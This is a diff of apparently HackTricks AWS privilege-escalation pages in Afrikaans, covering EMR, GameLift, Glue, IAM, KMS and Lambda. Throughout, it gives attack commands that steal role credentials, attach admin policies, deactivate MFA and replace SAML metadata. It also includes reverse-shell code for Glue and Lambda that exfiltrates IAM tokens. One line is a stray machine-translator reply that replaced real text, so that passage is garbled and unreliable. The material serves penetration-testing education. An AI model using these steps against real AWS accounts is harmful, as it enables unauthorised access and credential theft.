`ServiceAccessSecurityGroup` binne `--ec2-attributes` kan doen). +```bash +# Import EC2 ssh key (you will need extra permissions for this) +ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" +chmod 400 /tmp/sshkey +base64 /tmp/sshkey.pub > /tmp/pub.key +aws ec2 import-key-pair \ +--key-name "privesc" \ +--public-key-material file:///tmp/pub.key + + +aws emr create-cluster \ +--release-label emr-5.15.0 \ +--instance-type m4.large \ +--instance-count 1 \ +--service-role EMR_DefaultRole \ +--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc + +# Wait 1min and connect via ssh to an EC2 instance of the cluster) +aws emr describe-cluster --cluster-id +# In MasterPublicDnsName you can find the DNS to connect to the master instance +## You cna also get this info listing EC2 instances +``` +Let daarop dat 'n **EMR role** gespesifiseer word in `--service-role` en 'n **ec2 role** gespesifiseer word in `--ec2-attributes` binne `InstanceProfile`. Hierdie tegniek laat egter slegs toe om die EC2 role credentials te steel (aangesien jy via ssh sal koppel), maar nie die EMR IAM Role nie. + +**Potensiële impak:** Privesc to the EC2 service role specified. + +### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` + +Met hierdie toestemmings kan 'n aanvaller na die **AWS console** gaan, 'n Notebook skep en toegang kry om die IAM Role te steel. + +> [!CAUTION] +> Selfs wanneer ek 'n IAM role aan die notebook instance heg in my toetse, het ek opgemerk dat ek AWS managed credentials kon steel en nie creds wat verband hou met die IAM role nie. + +**Potensiële impak:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile + +### `elasticmapreduce:OpenEditorInConsole` + +Slegs met hierdie permissie sal 'n aanvaller toegang hê tot die **Jupyter Notebook en die IAM role wat daaraan geassosieer is, kan steel**.\ +Die URL van die notebook is `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` + +> [!CAUTION] +> Selfs wanneer ek 'n IAM role aan die notebook instance heg in my toetse, het ek opgemerk dat ek AWS managed credentials kon steel en nie creds wat verband hou met die IAM role nie + +**Potensiële impak:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md deleted file mode 100644 index 34f52cdfa..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ /dev/null @@ -1,16 +0,0 @@ -# AWS - Gamelift - -{{#include ../../../banners/hacktricks-training.md}} - -### `gamelift:RequestUploadCredentials` - -Met hierdie toestemming kan 'n aanvaller 'n **nuwe stel van geloofsbriewe verkry vir gebruik wanneer hulle** 'n nuwe stel speletjie bou lêers na Amazon GameLift se Amazon S3 op laai. Dit sal **S3 oplaai geloofsbriewe** teruggee. -```bash -aws gamelift request-upload-credentials \ ---build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 -``` -## Verwysings - -- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md new file mode 100644 index 000000000..173aa45ca --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md @@ -0,0 +1,16 @@ +# AWS - Gamelift + +{{#include ../../../../banners/hacktricks-training.md}} + +### `gamelift:RequestUploadCredentials` + +Met hierdie toestemming kan 'n attacker 'n **nuwe stel credentials vir gebruik wanneer opgelaai word** van 'n nuwe stel game build-lêers na Amazon GameLift's Amazon S3 verkry. Dit sal **S3 upload credentials** teruggee. +```bash +aws gamelift request-upload-credentials \ +--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 +``` +## Verwysings + +- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md similarity index 54% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md index 11f6465ca..b9deac32d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md @@ -1,14 +1,14 @@ # AWS - Glue Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## glue ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Gebruikers met hierdie toestemmings kan **'n nuwe AWS Glue ontwikkelingspunt opstel**, **wat 'n bestaande diensrol wat deur Glue aanvaar kan word** met spesifieke toestemmings aan hierdie punt toewys. +Gebruikers met hierdie toestemmings kan **'n nuwe AWS Glue development endpoint opstel**, **'n bestaande service role wat deur Glue aangeneem kan word, aan hierdie endpoint toewys** met spesifieke permissies. -Na die opstelling kan die **aanvaller SSH in die punt se instansie**, en die IAM-akkrediteer van die toegewezen rol steel: +Na die opstelling kan die **aanvaller per SSH op die endpoint-instansie inlog**, en die IAM-inlogbewyse van die toegewezen rol steel: ```bash # Create endpoint aws glue create-dev-endpoint --endpoint-name \ @@ -22,13 +22,13 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -Vir stealth-doeleindes word dit aanbeveel om die IAM-akkrediteerlinge van binne die Glue virtuele masjien te gebruik. +Vir sluipdoeleindes word dit aanbeveel om die IAM credentials van binne die Glue virtuele masjien te gebruik. -**Potensiële Impak:** Privesc na die glue diensrol wat gespesifiseer is. +**Potensiële impak:** Privesc na die glue service role wat gespesifiseer is. ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Gebruikers met hierdie toestemming kan **'n bestaande Glue ontwikkeling** eindpunt se SSH-sleutel **verander, wat SSH-toegang tot dit moontlik maak**. Dit stel die aanvaller in staat om opdragte uit te voer met die voorregte van die eindpunt se aangehegte rol: +Gebruikers met hierdie toestemming kan **wysig 'n bestaande Glue development** endpoint se SSH-sleutel, **waardeur SSH-toegang daartoe moontlik word**. Dit stel die aanvaller in staat om opdragte uit te voer met die voorregte van die rol wat aan die endpoint gekoppel is: ```bash # Change public key to connect aws glue --endpoint-name target_endpoint \ @@ -41,11 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -**Potensiële Impak:** Privesc na die glue diensrol wat gebruik word. +**Potential Impact:** Privesc na die gebruikte Glue service role. ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -Gebruikers met **`iam:PassRole`** gekombineer met of **`glue:CreateJob` of `glue:UpdateJob`**, en of **`glue:StartJobRun` of `glue:CreateTrigger`** kan **'n AWS Glue taak skep of opdateer**, enige **Glue diensrekening** aanheg, en die taak se uitvoering inisieer. Die taak se vermoëns sluit die uitvoering van arbitrêre Python kode in, wat uitgebuit kan word om 'n omgekeerde shell te vestig. Hierdie omgekeerde shell kan dan gebruik word om die **IAM geloofsbriewe** van die rol wat aan die Glue taak geheg is, te eksfiltreer, wat kan lei tot potensiële ongeoorloofde toegang of aksies gebaseer op die toestemmings van daardie rol: +Gebruikers met **`iam:PassRole`** gekombineer met óf **`glue:CreateJob` of `glue:UpdateJob`**, en óf **`glue:StartJobRun` of `glue:CreateTrigger`** kan **'n AWS Glue-job skep of bywerk**, enige **Glue service account** daaraan heg en die job se uitvoering begin. Die job kan enige Python-kode uitvoer, wat misbruik kan word om 'n reverse shell te vestig. Hierdie reverse shell kan dan gebruik word om die **IAM credential**s van die rol wat aan die Glue-job gekoppel is, te exfiltrate, wat kan lei tot potensiële ongemagtigde toegang of optrede gebaseer op die permissies van daardie rol: ```bash # Content of the python script saved in s3: #import socket,subprocess,os @@ -71,16 +71,16 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \ --actions '[{"JobName": "privesctest"}]' --start-on-creation \ --schedule "0/5 * * * * *" #Every 5mins, feel free to change ``` -**Potensiële Impak:** Privesc na die glue diensrol wat gespesifiseer is. +**Potensiële impak:** Privesc na die gespesifiseerde glue service role. ### `glue:UpdateJob` -Net met die opdatering toestemming kan 'n aanvaller die IAM Kredensiale van die reeds aangehegte rol steel. +Slegs met die update-permissie kan 'n aanvaller die IAM Credentials van die reeds aangehegte role steel. -**Potensiële Impak:** Privesc na die glue diensrol wat aangeheg is. +**Potensiële impak:** Privesc na die aangehegte glue service role. ## Verwysings - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md similarity index 50% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index ea4ff2678..1ec6c84bf 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -1,18 +1,18 @@ # AWS - IAM Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## IAM -Vir meer inligting oor IAM, kyk: +Vir meer inligting oor IAM, sien: {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} ### **`iam:CreatePolicyVersion`** -Gee die vermoë om 'n nuwe IAM-beleid weergawe te skep, terwyl die behoefte aan `iam:SetDefaultPolicyVersion` toestemming omseil word deur die `--set-as-default` vlag te gebruik. Dit stel die definisie van pasgemaakte toestemmings in staat. +Gee die vermoë om 'n nuwe IAM beleidsweergawe te skep, en om die behoefte aan die `iam:SetDefaultPolicyVersion`-toestemming te omseil deur die `--set-as-default` vlag te gebruik. Dit maak dit moontlik om pasgemaakte toestemmings te definieer. **Exploit Command:** ```bash @@ -23,87 +23,87 @@ aws iam create-policy-version --policy-arn \ ### **`iam:SetDefaultPolicyVersion`** -Laat die verandering van die standaardweergawe van 'n IAM-beleid na 'n ander bestaande weergawe toe, wat moontlik bevoegdhede kan verhoog as die nuwe weergawe meer toestemmings het. +Laat toe om die standaardweergawe van 'n IAM-beleid na 'n ander bestaande weergawe te verander, wat moontlik bevoegdhede kan verhoog as die nuwe weergawe meer toestemmings het. -**Bash Opdrag:** +**Bash Command:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**Impak:** Indirekte privilige-eskalasie deur meer toestemmings in te skakel. +**Impak:** Indirekte privilege escalation deur meer toestemmings moontlik te maak. ### **`iam:CreateAccessKey`** -Stel die skep van toegangsleutel-ID en geheime toegangsleutel vir 'n ander gebruiker in, wat kan lei tot potensiële privilige-eskalasie. +Skakel in om access key ID en secret access key vir 'n ander gebruiker te skep, wat kan lei tot potensiële privilege escalation. -**Eksploiteer:** +**Exploit:** ```bash aws iam create-access-key --user-name ``` -**Impak:** Direkte privilege-eskalasie deur 'n ander gebruiker se uitgebreide toestemmings aan te neem. +**Impak:** Direkte privilege escalation deur die aanname van 'n ander gebruiker se extended permissions. ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Laat die skep of opdatering van 'n aanmeldprofiel toe, insluitend die instelling van wagwoorde vir AWS-konsol aanmelding, wat lei tot direkte privilege-eskalasie. +Laat toe om 'n login profile te skep of by te werk, insluitend die instel van passwords vir AWS console login, wat lei tot direkte privilege escalation. -**Eksploiteer vir Skepping:** +**Exploit for Creation:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Eksploiteer vir Opdatering:** +**Exploit vir Opdatering:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Impak:** Direkte privilige-escalasie deur in te log as "enige" gebruiker. +**Impak:** Direkte privilege escalation deur in te teken as "any" gebruiker. ### **`iam:UpdateAccessKey`** -Laat die inskakeling van 'n gedeaktiveerde toegangsleutel toe, wat moontlik kan lei tot ongemagtigde toegang as die aanvaller die gedeaktiveerde sleutel besit. +Laat toe om 'n gedeaktiveerde access key te aktiveer, wat moontlik tot ongemagtigde toegang kan lei indien die aanvaller die gedeaktiveerde access key besit. -**Eksploiteer:** +**Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**Impak:** Direkte privilige-escalasie deur toegang sleutels te heraktiveer. +**Impact:** Direkte privilege escalation deur access keys te heraktiveer. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Stel in staat om kredensiale vir spesifieke AWS-dienste (bv. CodeCommit, Amazon Keyspaces) te genereer of te reset, wat die toestemmings van die geassosieerde gebruiker erf. +Sta toe om credentials te genereer of te reset vir spesifieke AWS services (bv. CodeCommit, Amazon Keyspaces), en erf die permissies van die geassosieerde gebruiker. -**Eksploiteer vir Skepping:** +**Exploit for Creation:** ```bash aws iam create-service-specific-credential --user-name --service-name ``` -**Eksploiteer vir Herstel:** +**Exploit vir Herstel:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Impak:** Direkte privilige-escalasie binne die gebruiker se diens toestemmings. +**Impak:** Direct privilege escalation within the user's service permissions. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Laat toe om beleide aan gebruikers of groepe te heg, wat direk privilige verhoog deur die toestemmings van die gehegte beleid te erf. +Laat toe om policies aan users of groups te koppel, wat direk privileges eskaleer deur die permissions van die aangehegte policy te erf. -**Eksploiteer vir Gebruiker:** +**Exploit for User:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` -**Eksploiteer vir Groep:** +**Exploit vir Groep:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Impak:** Direkte privilege-eskalasie na enigiets wat die beleid toelaat. +**Impak:** Direkte privilege escalation na enigiets wat die policy toeken. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Stel die aanhegting of plasing van beleide aan rolle, gebruikers of groepe toe, wat direkte privilige-eskalasie moontlik maak deur addisionele toestemmings toe te ken. +Laat toe om policies aan roles, users of groups te koppel of te plaas, wat direkte privilege escalation moontlik maak deur addisionele permissions te verleen. -**Eksploiteer vir Rol:** +**Exploit for Role:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` -**Eksploiteer vir Inline Beleide:** +**Exploit vir Inline Policies:** ```bash aws iam put-user-policy --user-name --policy-name "" \ --policy-document "file:///path/to/policy.json" @@ -114,7 +114,7 @@ aws iam put-group-policy --group-name --policy-name "" aws iam put-role-policy --role-name --policy-name "" \ --policy-document file:///path/to/policy.json ``` -Jy kan 'n beleid soos gebruik: +I don't have the README.md content. Paste the file (or the portion you want translated) and I'll translate it to Afrikaans, preserving markdown, code, links and tags per your instructions. ```json { "Version": "2012-10-17", @@ -127,23 +127,23 @@ Jy kan 'n beleid soos gebruik: ] } ``` -**Impak:** Direkte privilige-escalasie deur die toevoeging van toestemmings deur beleid. +**Impak:** Direkte eskalasie van regte deur permissies by te voeg via beleide. ### **`iam:AddUserToGroup`** -Stel jou in staat om jouself by 'n IAM-groep te voeg, wat privilige-escalasie moontlik maak deur die groep se toestemmings te erf. +Laat toe om jouself by 'n IAM-groep te voeg, en verhoog bevoegdhede deur die groep se permissies te erf. -**Eksploiteer:** +**Exploit:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**Impak:** Direkte privilige-eskalasie na die vlak van die groep se toestemmings. +**Impact:** Direkte privilege escalation na die vlak van die groep se regte. ### **`iam:UpdateAssumeRolePolicy`** -Laat die verandering van die aanneemrolbeleid dokument van 'n rol toe, wat die aanneming van die rol en sy geassosieerde toestemmings moontlik maak. +Laat toe om die assume role policy document van 'n rol te wysig, wat die aanname van die rol en die daaraan verbonde regte moontlik maak. -**Eksploiteer:** +**Uitbuiting:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json @@ -163,38 +163,38 @@ Waar die beleid soos volg lyk, wat die gebruiker toestemming gee om die rol aan ] } ``` -**Impak:** Direkte privilige-escalasie deur enige rol se toestemmings aan te neem. +**Impact:** Direkte privilegie-opskaling deur enige rol se toestemmings aan te neem. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Stel die opgradering van 'n SSH publieke sleutel toe vir outentisering by CodeCommit en die deaktivering van MFA-toestelle, wat kan lei tot potensiële indirekte privilige-escalasie. +Laat toe om 'n SSH publieke sleutel op te laai vir verifikasie by CodeCommit en om MFA-toestelle te deaktiveer, wat kan lei tot potensiële indirekte privilegie-opskaling. -**Eksploiteer vir SSH Sleutel Opgradering:** +**Exploit for SSH Key Upload:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` -**Eksploiteer vir MFA Deaktivering:** +**Exploit vir MFA Deactivation:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` -**Impak:** Indirekte privilige-eskalasie deur CodeCommit-toegang te aktiveer of MFA-beskerming te deaktiveer. +**Impak:** Indirekte privilege escalation deur CodeCommit-toegang te aktiveer of MFA-beskerming te deaktiveer. ### **`iam:ResyncMFADevice`** -Stel die her-synchronisasie van 'n MFA-toestel toe, wat moontlik kan lei tot indirekte privilige-eskalasie deur MFA-beskerming te manipuleer. +Laat toe om 'n MFA-toestel te her-sinchroniseer, wat moontlik kan lei tot indirekte privilege escalation deur die MFA-beskerming te manipuleer. **Bash-opdrag:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impak:** Indirekte privilige-escalasie deur die toevoeging of manipulasie van MFA-toestelle. +**Impak:** Indirekte privilege-eskalasie deur MFA-toestelle by te voeg of te manipuleer. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Met hierdie toestemmings kan jy **die XML-metadata van die SAML-verbinding verander**. Dan kan jy die **SAML-federasie** misbruik om **in te log** met enige **rol wat dit vertrou**. +Met hierdie toestemmings kan jy **die XML-metagegewens van die SAML-verbinding verander**. Dan kan jy die **SAML-federasie** misbruik om **aan te meld** met enige **rol wat dit vertrou**. -Let daarop dat legitieme gebruikers nie in staat sal wees om in te log nie. Jy kan egter die XML kry, sodat jy joune kan plaas, inlog en die vorige konfigureer. +Neem kennis dat as jy dit doen **legitieme gebruikers nie sal kan aanmeld nie**. Jy kan egter die XML kry, sodat jy jou eie kan plaas, aanmeld en die vorige instelling terugstel. ```bash # List SAMLs aws iam list-saml-providers @@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` > [!NOTE] -> TODO: 'n Gereedskap wat in staat is om die SAML metadata te genereer en aan te meld met 'n gespesifiseerde rol +> TODO: 'n Tool wat SAML-metadata kan genereer en kan login met 'n gespesifiseerde rol ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Onseker oor dit) As 'n aanvaller hierdie **toestemmings** het, kan hy 'n nuwe **Thumbprint** byvoeg om in al die rolle wat die verskaffer vertrou, aan te meld. +(Onseker hieroor) As 'n aanvaller hierdie **permissions** het, kan hy 'n nuwe **Thumbprint** byvoeg om daarin te slaag om by al die rolle wat die provider vertrou te login. ```bash # List providers aws iam list-open-id-connect-providers @@ -224,8 +224,12 @@ aws iam get-open-id-connect-provider --open-id-connect-provider-arn # Update Thumbprints (The thumbprint is always a 40-character string) aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3 ``` +### `iam:PutUserPermissionsBoundary` + +Hierdie toestemming laat 'n attacker toe om die permissions boundary van 'n gebruiker te bywerk, en kan moontlik hul bevoegdhede eskaleer deur hulle in staat te stel om aksies uit te voer wat normaalweg deur hul bestaande toestemmings beperk word. + ## Verwysings - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md similarity index 53% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md index 74776a892..5f9774481 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md @@ -1,18 +1,18 @@ # AWS - KMS Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## KMS -Vir meer inligting oor KMS, kyk: +Vir meer inligting oor KMS sien: {{#ref}} -../aws-services/aws-kms-enum.md +../../aws-services/aws-kms-enum.md {{#endref}} ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`) -Met hierdie toestemmings is dit moontlik om die **toegangstoestemmings tot die sleutel te wysig** sodat dit deur ander rekeninge of selfs enige iemand gebruik kan word: +Met hierdie toestemmings is dit moontlik om **die toegangstoestemmings tot die sleutel te wysig** sodat dit deur ander rekeninge of selfs enigiemand gebruik kan word: ```bash aws kms list-keys aws kms list-key-policies --key-id # Although only 1 max per key @@ -20,7 +20,7 @@ aws kms get-key-policy --key-id --policy-name # AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default") aws kms put-key-policy --key-id --policy-name --policy file:///tmp/policy.json ``` -beleid.json: +policy.json: ```json { "Version": "2012-10-17", @@ -49,7 +49,7 @@ beleid.json: ``` ### `kms:CreateGrant` -Dit **laat 'n prinsiep toe om 'n KMS-sleutel te gebruik:** +Dit **laat 'n entiteit toe om 'n KMS-sleutel te gebruik:** ```bash aws kms create-grant \ --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ @@ -57,12 +57,12 @@ aws kms create-grant \ --operations Decrypt ``` > [!WARNING] -> 'n Toekenning kan slegs sekere tipes operasies toelaat: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) +> ’n grant kan slegs sekere tipes operasies toelaat: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations > [!WARNING] -> Let daarop dat dit 'n paar minute kan neem voordat KMS **die gebruiker toelaat om die sleutel te gebruik nadat die toekenning gegenereer is**. Sodra daardie tyd verby is, kan die hoofpersoon die KMS-sleutel gebruik sonder om iets spesifiek aan te dui.\ -> As dit egter nodig is om die toekenning onmiddellik te gebruik [gebruik 'n toekenningstoken](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (kyk na die volgende kode).\ -> Vir [**meer inligting lees dit**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). +> Let wel dat dit 'n paar minute kan neem voordat KMS **toelaat dat die gebruiker die sleutel kan gebruik nadat die grant gegenereer is**. Sodra daardie tyd verby is, kan die principal die KMS key gebruik sonder om enigiets te hoef te spesifiseer.\ +> Indien dit egter nodig is om die grant onmiddellik te gebruik, [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (kyk na die volgende kode).\ +> Vir [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). ```bash # Use the grant token in a request aws kms generate-data-key \ @@ -70,15 +70,15 @@ aws kms generate-data-key \ –-key-spec AES_256 \ --grant-tokens $token ``` -Let daarop dat dit moontlik is om die toekennings van sleutels te lys met: +Let wel dat dit moontlik is om grants van sleutels te lys met: ```bash aws kms list-grants --key-id ``` ### `kms:CreateKey`, `kms:ReplicateKey` -Met hierdie toestemmings is dit moontlik om 'n multi-region geaktiveerde KMS-sleutel in 'n ander streek met 'n ander beleid te repliseer. +Met hierdie permissies is dit moontlik om 'n multi-region enabled KMS key in 'n ander regio met 'n ander policy te repliseer. -So, 'n aanvaller kan dit misbruik om privesc sy toegang tot die sleutel te verkry en dit te gebruik. +Dus kan 'n aanvaller dit misbruik om privesc te verkry op toegang tot die sleutel en dit te gebruik. ```bash aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml @@ -100,11 +100,11 @@ aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-re ``` ### `kms:Decrypt` -Hierdie toestemming laat toe om 'n sleutel te gebruik om sekere inligting te ontsleutel.\ -Vir meer inligting, kyk: +Hierdie toestemming maak dit moontlik om 'n sleutel te gebruik om sekere inligting te decrypt.\ +Vir meer inligting, sien: {{#ref}} -../aws-post-exploitation/aws-kms-post-exploitation.md +../../aws-post-exploitation/aws-kms-post-exploitation/README.md {{#endref}} -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md similarity index 51% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md index 845256179..d7a054fbe 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md @@ -1,22 +1,22 @@ # AWS - Lambda Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## lambda Meer inligting oor lambda in: {{#ref}} -../aws-services/aws-lambda-enum.md +../../aws-services/aws-lambda-enum.md {{#endref}} ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) Gebruikers met die **`iam:PassRole`, `lambda:CreateFunction`, en `lambda:InvokeFunction`** toestemmings kan hul voorregte eskaleer.\ -Hulle kan **'n nuwe Lambda function skep en dit 'n bestaande IAM role toewys**, en sodoende die funksie die toestemmings gee wat met daardie rol geassosieer is. Die gebruiker kan dan **kode skryf en na hierdie Lambda function oplaai (byvoorbeeld met 'n rev shell)**.\ -Sodra die funksie ingestel is, kan die gebruiker die uitvoering **aktiveer** en die beoogde aksies deur die Lambda function via die AWS API aan te roep. Hierdie benadering laat die gebruiker toe om take indirek deur die Lambda function uit te voer, werkend met die toegangsvlak wat aan die verwante IAM role toegeken is.\\ +Hulle kan **create a new Lambda function and assign it an existing IAM role**, wat die funksie die toestemmings gee wat met daardie rol geassosieer word. Die gebruiker kan dan **write and upload code to this Lambda function (with a rev shell for example)**.\ +Sodra die funksie opgestel is, kan die gebruiker **trigger its execution** en die beoogde aksies uitvoer deur die Lambda function via die AWS API aan te roep. Hierdie benadering laat die gebruiker toe om take indirek deur die Lambda function uit te voer, met die vlak van toegang wat aan die geassosieerde IAM role toegeken is.\\ -’n aanvaller kan dit misbruik om 'n **rev shell te kry en die token te steel**: +'n aanvaller kan dit misbruik om 'n **rev shell en die token te steel**: ```python:rev.py import socket,subprocess,os,time def lambda_handler(event, context): @@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt # List roles aws iam list-attached-user-policies --user-name ``` -Jy kan ook **abuse the lambda role permissions** vanaf die lambda-funksie self.\ -As die lambda-rol genoeg permissies gehad het, kon jy dit gebruik om admin-regte aan jouself toe te ken: +Jy kan ook **abuse the lambda role permissions** van die lambda function self.\ +As die lambda role genoeg permissions gehad het, kon jy dit gebruik om admin rights aan jouself toe te ken: ```python import boto3 def lambda_handler(event, context): @@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return response ``` -Dit is ook moontlik om die lambda's role credentials te leak sonder om 'n eksterne verbinding te benodig. Dit sal nuttig wees vir **Network isolated Lambdas** wat op interne take gebruik word. As daar onbekende security groups is wat jou reverse shells filter, sal hierdie kode jou toelaat om die credentials direk as die uitset van die lambda te leak. +Dit is ook moontlik om die lambda se roltoegangbewyse te leak sonder 'n eksterne verbinding. Dit sal nuttig wees vir **Network isolated Lambdas** wat vir interne take gebruik word. As daar onbekende security groups is wat jou reverse shells filtreer, sal hierdie stukkie kode jou in staat stel om direk die roltoegangbewyse as die uitset van die lambda te leak. ```python def handler(event, context): 